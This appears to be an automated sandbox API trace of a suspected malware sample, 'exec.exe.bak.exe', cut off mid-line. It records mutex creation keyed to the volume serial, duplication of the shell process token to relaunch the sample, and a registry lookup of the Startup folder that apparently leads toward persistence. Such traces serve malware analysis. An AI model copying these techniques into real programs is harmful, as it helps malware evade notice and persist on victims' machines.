# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Mar 3 2020 14:14:30 # Log Creation Date: 23.04.2020 13:35:13.109 Process: id = "1" image_name = "exec.exe.bak.exe" filename = "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe" page_root = "0xca40000" os_pid = "0x112c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x560" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x1124 [0078.876] GetProcessHeap () returned 0xc00000 [0078.876] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x30) returned 0xc12e80 [0078.876] GetProcessHeap () returned 0xc00000 [0078.876] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x3e10) returned 0xc20858 [0078.886] GetProcessHeap () returned 0xc00000 [0078.886] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x300) returned 0xc1e4b8 [0078.887] GetProcessHeap () returned 0xc00000 [0078.887] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1f938 [0078.887] GetTickCount () returned 0x1154ef7 [0078.887] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x8ff6f8, cchData=32 | out: lpLCData="\x03") returned 16 [0078.889] GetProcessHeap () returned 0xc00000 [0078.889] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc0ae80 [0078.889] GetProcessHeap () returned 0xc00000 [0078.889] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc1d230 [0078.889] GetProcessHeap () returned 0xc00000 [0078.889] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc24670 [0078.889] GetProcessHeap () returned 0xc00000 [0078.889] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc24888 [0078.889] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc24888, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0078.889] GetProcessHeap () returned 0xc00000 [0078.889] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24888 | out: hHeap=0xc00000) returned 1 [0078.889] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\regsetka32.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\regsetka32.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.889] GetProcessHeap () returned 0xc00000 [0078.889] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1d230 | out: hHeap=0xc00000) returned 1 [0078.890] GetProcessHeap () returned 0xc00000 [0078.890] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24670 | out: hHeap=0xc00000) returned 1 [0078.890] GetProcessHeap () returned 0xc00000 [0078.890] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0ae80 | out: hHeap=0xc00000) returned 1 [0078.890] GetVersion () returned 0x23f00206 [0078.890] GetCurrentProcess () returned 0xffffffff [0078.890] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x8ff68c | out: TokenHandle=0x8ff68c*=0x1fc) returned 1 [0078.890] GetTokenInformation (in: TokenHandle=0x1fc, TokenInformationClass=0x14, TokenInformation=0x8ff684, TokenInformationLength=0x4, ReturnLength=0x8ff688 | out: TokenInformation=0x8ff684, ReturnLength=0x8ff688) returned 1 [0078.890] CloseHandle (hObject=0x1fc) returned 1 [0078.890] GetProcessHeap () returned 0xc00000 [0078.890] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc0ae80 [0078.890] GetProcessHeap () returned 0xc00000 [0078.890] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc1d230 [0078.890] GetProcessHeap () returned 0xc00000 [0078.890] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc24670 [0078.890] GetProcessHeap () returned 0xc00000 [0078.890] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1d230 | out: hHeap=0xc00000) returned 1 [0078.890] GetProcessHeap () returned 0xc00000 [0078.890] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24670 | out: hHeap=0xc00000) returned 1 [0078.890] GetProcessHeap () returned 0xc00000 [0078.890] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc0aea8 [0078.890] GetProcessHeap () returned 0xc00000 [0078.891] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc0ad18 [0078.891] GetProcessHeap () returned 0xc00000 [0078.891] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24768 [0078.891] GetProcessHeap () returned 0xc00000 [0078.891] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11d38 [0078.891] GetProcessHeap () returned 0xc00000 [0078.891] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11d38 | out: hHeap=0xc00000) returned 1 [0078.891] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc0ad18, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0078.891] GetProcessHeap () returned 0xc00000 [0078.891] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24768 | out: hHeap=0xc00000) returned 1 [0078.891] GetProcessHeap () returned 0xc00000 [0078.891] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0aea8 | out: hHeap=0xc00000) returned 1 [0078.891] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x8ff644, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x8ff644*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0078.892] GetProcessHeap () returned 0xc00000 [0078.892] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0ad18 | out: hHeap=0xc00000) returned 1 [0078.892] GetProcessHeap () returned 0xc00000 [0078.892] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x30) returned 0xc12be0 [0078.892] GetProcessHeap () returned 0xc00000 [0078.892] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x2a) returned 0xc12b70 [0078.892] GetProcessHeap () returned 0xc00000 [0078.892] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc12b70, Size=0x52) returned 0xc0e7b0 [0078.892] GetProcessHeap () returned 0xc00000 [0078.892] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12be0 | out: hHeap=0xc00000) returned 1 [0078.892] GetProcessHeap () returned 0xc00000 [0078.892] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e7b0 | out: hHeap=0xc00000) returned 1 [0078.892] GetProcessHeap () returned 0xc00000 [0078.892] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1c) returned 0xc0ad18 [0078.892] GetProcessHeap () returned 0xc00000 [0078.892] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1c) returned 0xc0aea8 [0078.892] GetProcessHeap () returned 0xc00000 [0078.892] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24808 [0078.892] GetProcessHeap () returned 0xc00000 [0078.892] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24998 [0078.892] GetProcessHeap () returned 0xc00000 [0078.892] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc246c8 [0078.892] GetProcessHeap () returned 0xc00000 [0078.892] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11d38 [0078.892] GetProcessHeap () returned 0xc00000 [0078.893] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11d38 | out: hHeap=0xc00000) returned 1 [0078.893] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24998, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0078.893] GetProcessHeap () returned 0xc00000 [0078.893] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc246c8 | out: hHeap=0xc00000) returned 1 [0078.893] GetProcessHeap () returned 0xc00000 [0078.893] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24808 | out: hHeap=0xc00000) returned 1 [0078.893] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x8ff62c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x8ff62c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0078.893] GetProcessHeap () returned 0xc00000 [0078.893] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24998 | out: hHeap=0xc00000) returned 1 [0078.893] GetProcessHeap () returned 0xc00000 [0078.893] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc128b0 [0078.893] GetProcessHeap () returned 0xc00000 [0078.893] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc12670 [0078.893] GetProcessHeap () returned 0xc00000 [0078.893] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc12670, Size=0x72) returned 0xc11e28 [0078.893] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0078.893] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x1fc [0078.894] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x0 [0078.894] GetProcessHeap () returned 0xc00000 [0078.894] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc128b0 | out: hHeap=0xc00000) returned 1 [0078.894] GetProcessHeap () returned 0xc00000 [0078.912] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11e28 | out: hHeap=0xc00000) returned 1 [0078.912] GetProcessHeap () returned 0xc00000 [0078.913] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc248a8 [0078.913] GetProcessHeap () returned 0xc00000 [0078.913] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc246c8 [0078.913] GetProcessHeap () returned 0xc00000 [0078.913] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24b28 [0078.913] GetProcessHeap () returned 0xc00000 [0078.913] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11d38 [0078.913] GetProcessHeap () returned 0xc00000 [0078.913] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11d38 | out: hHeap=0xc00000) returned 1 [0078.913] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc246c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0078.913] GetProcessHeap () returned 0xc00000 [0078.913] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24b28 | out: hHeap=0xc00000) returned 1 [0078.913] GetProcessHeap () returned 0xc00000 [0078.913] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc248a8 | out: hHeap=0xc00000) returned 1 [0078.913] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x8ff614, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x8ff614*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0078.915] GetProcessHeap () returned 0xc00000 [0078.915] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc246c8 | out: hHeap=0xc00000) returned 1 [0078.916] GetProcessHeap () returned 0xc00000 [0078.916] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc12940 [0078.916] GetProcessHeap () returned 0xc00000 [0078.916] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc12790 [0078.916] GetProcessHeap () returned 0xc00000 [0078.916] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc12790, Size=0x72) returned 0xc11e28 [0078.916] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x0 [0078.916] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000000") returned 0x200 [0078.916] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x0 [0078.916] GetProcessHeap () returned 0xc00000 [0078.916] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12940 | out: hHeap=0xc00000) returned 1 [0078.916] GetProcessHeap () returned 0xc00000 [0078.917] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11e28 | out: hHeap=0xc00000) returned 1 [0078.917] ReleaseMutex (hMutex=0x200) returned 1 [0078.917] CloseHandle (hObject=0x200) returned 1 [0078.917] GetProcessHeap () returned 0xc00000 [0078.917] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x30) returned 0xc12e10 [0078.917] GetProcessHeap () returned 0xc00000 [0078.917] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc1d230 [0078.917] GetVersion () returned 0x23f00206 [0078.917] GetProcessHeap () returned 0xc00000 [0078.917] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x50) returned 0xc0e7b0 [0078.917] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0078.917] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0078.917] Wow64DisableWow64FsRedirection (in: OldValue=0x8ff668 | out: OldValue=0x8ff668*=0x0) returned 1 [0078.917] GetProcessHeap () returned 0xc00000 [0078.917] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e7b0 | out: hHeap=0xc00000) returned 1 [0078.918] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x756e0000 [0078.918] GetProcAddress (hModule=0x756e0000, lpProcName="CreateProcessWithTokenW") returned 0x756f0c70 [0078.918] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc1d230, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0078.918] GetShellWindow () returned 0x100f0 [0078.919] GetWindowThreadProcessId (in: hWnd=0x100f0, lpdwProcessId=0x8ff674 | out: lpdwProcessId=0x8ff674) returned 0x5cc [0078.919] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x560) returned 0x200 [0078.919] OpenProcessToken (in: ProcessHandle=0x200, DesiredAccess=0x2000000, TokenHandle=0x8ff684 | out: TokenHandle=0x8ff684*=0x204) returned 1 [0078.919] DuplicateTokenEx (in: hExistingToken=0x204, dwDesiredAccess=0x2000000, lpTokenAttributes=0x8ff64c, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x8ff688 | out: phNewToken=0x8ff688*=0x208) returned 1 [0078.920] CreateProcessWithTokenW (in: hToken=0x208, dwLogonFlags=0x0, lpApplicationName="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe", lpCommandLine=0x0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x8ff600*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x8ff658 | out: lpCommandLine=0x0, lpProcessInformation=0x8ff658*(hProcess=0x244, hThread=0x248, dwProcessId=0x10f0, dwThreadId=0x10dc)) returned 1 [0079.086] GetProcessHeap () returned 0xc00000 [0079.086] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x50) returned 0xc255c0 [0079.087] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0079.087] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x772e6b50 [0079.087] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0079.087] GetProcessHeap () returned 0xc00000 [0079.087] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc255c0 | out: hHeap=0xc00000) returned 1 [0079.087] CloseHandle (hObject=0x200) returned 1 [0079.087] CloseHandle (hObject=0x244) returned 1 [0079.087] CloseHandle (hObject=0x248) returned 1 [0079.087] CloseHandle (hObject=0x204) returned 1 [0079.087] CloseHandle (hObject=0x208) returned 1 [0079.087] GetProcessHeap () returned 0xc00000 [0079.087] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1d230 | out: hHeap=0xc00000) returned 1 [0079.087] GetProcessHeap () returned 0xc00000 [0079.087] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12e10 | out: hHeap=0xc00000) returned 1 [0079.087] Sleep (dwMilliseconds=0x1388) [0084.176] GetProcessHeap () returned 0xc00000 [0084.176] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0xd0) returned 0xc1b988 [0084.177] GetProcessHeap () returned 0xc00000 [0084.177] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0xc3) returned 0xc1e7c0 [0084.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e4b85, lpParameter=0xc1e7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208 [0084.178] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x102 [0084.179] CloseHandle (hObject=0x208) returned 1 [0084.179] GetProcessHeap () returned 0xc00000 [0084.179] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1b988 | out: hHeap=0xc00000) returned 1 [0084.179] GetProcessHeap () returned 0xc00000 [0084.179] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x60) returned 0xc11800 [0084.179] GetProcessHeap () returned 0xc00000 [0084.179] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x5c) returned 0xc118b8 [0084.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e4b85, lpParameter=0xc118b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208 [0084.180] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x102 [0084.180] CloseHandle (hObject=0x208) returned 1 [0084.180] GetProcessHeap () returned 0xc00000 [0084.180] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11800 | out: hHeap=0xc00000) returned 1 [0084.180] GetProcessHeap () returned 0xc00000 [0084.180] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24a38 [0084.180] GetProcessHeap () returned 0xc00000 [0084.180] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc248f8 [0084.180] GetProcessHeap () returned 0xc00000 [0084.180] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24ab0 [0084.180] GetProcessHeap () returned 0xc00000 [0084.180] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11d38 [0084.180] GetProcessHeap () returned 0xc00000 [0084.181] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11d38 | out: hHeap=0xc00000) returned 1 [0084.181] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc248f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0084.181] GetProcessHeap () returned 0xc00000 [0084.181] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24ab0 | out: hHeap=0xc00000) returned 1 [0084.181] GetProcessHeap () returned 0xc00000 [0084.181] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24a38 | out: hHeap=0xc00000) returned 1 [0084.181] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x8ff64c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x8ff64c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0084.181] GetProcessHeap () returned 0xc00000 [0084.181] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc248f8 | out: hHeap=0xc00000) returned 1 [0084.181] GetProcessHeap () returned 0xc00000 [0084.182] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x60) returned 0xc11800 [0084.182] GetProcessHeap () returned 0xc00000 [0084.182] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc247e0 [0084.182] GetProcessHeap () returned 0xc00000 [0084.182] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24948 [0084.182] GetProcessHeap () returned 0xc00000 [0084.182] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24808 [0084.182] GetProcessHeap () returned 0xc00000 [0084.182] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11d38 [0084.182] GetProcessHeap () returned 0xc00000 [0084.182] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11d38 | out: hHeap=0xc00000) returned 1 [0084.182] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xc24948, nSize=0xf | out: lpDst="") returned 0x1e [0084.182] GetProcessHeap () returned 0xc00000 [0084.182] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24808 | out: hHeap=0xc00000) returned 1 [0084.182] GetProcessHeap () returned 0xc00000 [0084.182] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc24948, Size=0x3a) returned 0xc126b8 [0084.182] GetProcessHeap () returned 0xc00000 [0084.182] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x3a) returned 0xc12790 [0084.182] GetProcessHeap () returned 0xc00000 [0084.182] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11d38 [0084.182] GetProcessHeap () returned 0xc00000 [0084.182] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11d38 | out: hHeap=0xc00000) returned 1 [0084.182] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xc126b8, nSize=0x1d | out: lpDst="") returned 0x1e [0084.182] GetProcessHeap () returned 0xc00000 [0084.183] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12790 | out: hHeap=0xc00000) returned 1 [0084.183] GetProcessHeap () returned 0xc00000 [0084.183] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc126b8, Size=0x72) returned 0xc11e28 [0084.183] GetProcessHeap () returned 0xc00000 [0084.183] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x72) returned 0xc0e840 [0084.183] GetProcessHeap () returned 0xc00000 [0084.183] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11d38 [0084.183] GetProcessHeap () returned 0xc00000 [0084.183] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11d38 | out: hHeap=0xc00000) returned 1 [0084.183] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xc11e28, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e [0084.183] GetProcessHeap () returned 0xc00000 [0084.183] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e840 | out: hHeap=0xc00000) returned 1 [0084.183] GetProcessHeap () returned 0xc00000 [0084.183] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc247e0 | out: hHeap=0xc00000) returned 1 [0084.183] GetProcessHeap () returned 0xc00000 [0084.183] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc12310 [0084.183] GetProcessHeap () returned 0xc00000 [0084.183] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3e) returned 0xc126b8 [0084.183] GetProcessHeap () returned 0xc00000 [0084.183] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x3e) returned 0xc12700 [0084.183] GetProcessHeap () returned 0xc00000 [0084.183] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11d38 [0084.183] GetProcessHeap () returned 0xc00000 [0084.183] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x10) returned 0xc1f9c8 [0084.184] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x8ff564 | out: phkResult=0x8ff564*=0x204) returned 0x0 [0084.184] RegQueryValueExW (in: hKey=0x204, lpValueName="Startup", lpReserved=0x0, lpType=0x8ff560, lpData=0xc12700, lpcbData=0x8ff568*=0x3e | out: lpType=0x8ff560*=0x2, lpData=0xc12700*=0x0, lpcbData=0x8ff568*=0x98) returned 0xea [0084.184] RegCloseKey (hKey=0x204) returned 0x0 [0084.184] GetProcessHeap () returned 0xc00000 [0084.184] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1f9c8 | out: hHeap=0xc00000) returned 1 [0084.184] GetProcessHeap () returned 0xc00000 [0084.184] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11d38 | out: hHeap=0xc00000) returned 1 [0084.184] GetProcessHeap () returned 0xc00000 [0084.184] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12700 | out: hHeap=0xc00000) returned 1 [0084.184] GetProcessHeap () returned 0xc00000 [0084.184] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc126b8, Size=0x7a) returned 0xc11d38 [0084.185] GetProcessHeap () returned 0xc00000 [0084.185] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x7a) returned 0xc0e170 [0084.185] GetProcessHeap () returned 0xc00000 [0084.185] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11ef0 [0084.185] GetProcessHeap () returned 0xc00000 [0084.185] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x10) returned 0xc1f9e0 [0084.185] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x8ff564 | out: phkResult=0x8ff564*=0x204) returned 0x0 [0084.185] RegQueryValueExW (in: hKey=0x204, lpValueName="Startup", lpReserved=0x0, lpType=0x8ff560, lpData=0xc0e170, lpcbData=0x8ff568*=0x7a | out: lpType=0x8ff560*=0x2, lpData=0xc0e170*=0xf0, lpcbData=0x8ff568*=0x98) returned 